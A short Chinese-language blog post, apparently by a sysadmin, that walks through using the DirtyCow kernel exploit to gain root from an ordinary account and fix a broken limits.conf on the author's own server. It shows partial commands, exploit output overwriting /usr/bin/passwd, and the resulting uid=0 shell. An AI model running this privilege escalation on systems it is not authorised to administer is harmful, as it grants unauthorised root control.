一次本地提权的实战演练
Why
开发同学在线上一台公有云的机器上调试系统环境的时候,把 /etc/security/limits.conf 给改坏了,这是第二次改坏这个文件了,具体怎么改坏的,为什么改坏了会导致不能登录我单独来说(先挖坑),我这里只讲现象,这一次改坏的情况还好,只影响 root 用户,普通用户还能登录。于是就想能不能用普通用户本地提权成 root,再去修复文件 /etc/security/limits.conf
Howto
1 | yum -y install wget gcc; |
系统输出:
uid=500(nagios) gid=500(nagios) groups=500(nagios)
可以看出用户 nagios 是普通用户(uid 和 gid 都是 500)
1 | cd /tmp; |
系统输出:
(_)
(o o)___/
@@ ` \
\ ____, //usr/bin/passwd
// //
^^ ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 9c9bf000madvise 0
ptrace 0
再执行:
1 | /usr/bin/passwd; |
系统提示:
root
uid=0(root) gid=500(nagios) groups=0(root),500(nagios)
由此可以看出用户已经变成 root(uid 为 0),主组还是 nagios,但同时也已经是 root 组成员
最后,记得把 /tmp/bak 恢复回去成 /usr/bin/passwd
1 | mv /tmp/bak /usr/bin/passwd; |